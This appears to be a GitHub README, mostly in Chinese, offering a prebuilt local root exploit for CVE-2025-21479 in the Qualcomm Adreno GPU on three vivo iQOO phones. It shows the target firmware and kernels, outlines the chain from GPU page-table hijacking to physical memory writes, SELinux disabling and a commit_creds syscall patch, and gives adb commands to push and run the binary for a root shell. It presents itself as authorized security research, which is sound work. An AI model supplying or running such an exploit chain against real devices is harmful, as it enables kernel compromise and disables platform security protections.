xianwan1314/cve-2025-21479-iqoo11proCVE-2025-21479 (Qualcomm Adreno GPU) reproduction notes for vivo iQOO 11 Pro (PD2254) - authorized research
| 项目 | 值 |
|---|---|
| 设备 | vivo iQOO 11 Pro（PD2254 / V2254A） |
| 系统 | Android 15，PD2254B_A_15.2.12.2.W10 |
| 内核 | 5.15.178-g3dc7c01077b8-dirty |
| SoC | Snapdragon 8 Gen 2（SM8550 / kalama） |
| GPU | Adreno 740，OpenGL ES 3.2 [email protected] |
因为当前方法限制，并未实现在运行时提取kallsyms，所以除了上面三个版本，其他版本理论上均不适配
GPU spray（SMMU 页表劫持，27 候选物理地址）
→ 任意物理内存读写
→ SELinux enforcing → permissive（物理写 selinux_state）
→ patch __arm64_sys_vhangup（syscall #58，Android 无人调用）
GPU 直接写 96 字节 stub（commit_creds(prepare_kernel_cred(NULL))）
→ fork 子进程 → syscall(58) → uid=0
→ setexeccon：写 /proc/self/attr/exec = "u:r:shell:s0"
→ exec root shell（uid=0，域 = u:r:shell:s0）
运行：
adb push exploit /data/local/tmp/exploit
adb shell
chmod 755 /data/local/tmp/exploit
cd /data/local/tmp && ./exploit
Root权限管理：
find /data/app -type d | grep resukisu
/data/app/***/***/lib/arm64/libksud.so insmod kernelsu.ko
本项目仅用于安全研究与学习目的，请仅在自有设备上进行测试。使用者须自行承担使用本项目造成的一切后果，包括但不限于设备损坏、数据丢失等。请勿将本项目用于任何非法用途。
| 机型 | 固件 | 内核 | 二进制 |
|---|
| iQOO 11 Pro（PD2254） | PD2254B_A_15.2.12.2.W10 | 5.15.178-g3dc7c01077b8-dirty | exploit_11pro |
| iQOO 11s（PD2304） | PD2304B_A_15.2.12.1.W10 | 5.15.178-g844f85161cd7-dirty | exploit_11s |
| iQOO 11（PD2243） | PD2243B_A_15.2.16.1.W10 | 5.15.178-g0ae61da50a34-dirty | exploit_11 |